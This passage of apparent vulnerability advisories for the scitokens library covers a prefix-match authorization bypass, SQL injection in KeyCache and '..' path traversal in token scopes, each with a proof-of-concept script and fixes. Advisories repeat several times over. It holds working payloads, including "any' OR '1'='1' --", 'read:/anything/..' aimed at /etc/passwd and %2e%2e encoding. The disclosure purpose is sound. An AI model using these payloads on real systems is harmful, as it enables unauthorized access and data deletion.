        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
